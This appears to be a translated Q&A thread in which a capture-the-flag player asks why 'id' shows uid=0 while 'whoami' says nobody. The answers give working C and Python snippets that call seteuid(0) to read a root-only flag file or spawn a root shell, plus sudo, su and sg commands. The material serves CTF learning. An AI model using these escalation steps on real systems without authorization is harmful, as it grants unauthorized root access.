UID é root, mas whoami diz que ninguém

UID é root, mas whoami diz que ninguém

Estou participando de um concurso de captura da bandeira, onde devo implementar alguma forma de escalonamento de privilégios para ler o flag.txtarquivo. Percebi que quando executo whoamiobtenho o seguinte resultado:

myHostHere:/$ whoami
nobody

Mas quando executo idmeu UID está definido como root:

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

Isso significa que é possível atuar como usuário root, etc. ou estou interpretando mal a saída?

Editar:

A saída de ls -l flag.txté a seguinte:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

Responder1

Isso pode ser resolvido escrevendo e compilando (com --static) um programa C como este em uma máquina separada:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

Este arquivo pode ser copiado para a máquina CTF, com permissão para ser executado chmod +xe executado a partir da tmppasta.

Responder2

Criei uma configuração muito parecida com a sua. Eu fiz isso com um depurador (exemplos:aquie). No shell afetado eu tenho:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

Então, de acordo comesta resposta:

O acesso a arquivos e operações que exigem privilégios de root, observe o UID e o GID efetivos.

Na verdade, é isso que acontece:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

Mas eu posso fazer isso:

$ sudo cat flag.txt
foo

Ou isto:

$ su -
# whoami
root
# cat flag.txt
foo

Ou isto:

$ sg root 'cat flag.txt'
foo

Quando você tiver uid=0, qualquer coisa que possa usar seteuida chamada do sistema e depois ler o arquivo pode ajudá-lo. Por exemplo python:

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

Em vez de (ou além) de ler o arquivo, você pode gerar um shell elevado:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

Neste shell você está root; cat flag.txtvai funcionar.


Testado: Debian GNU/Linux 9.

informação relacionada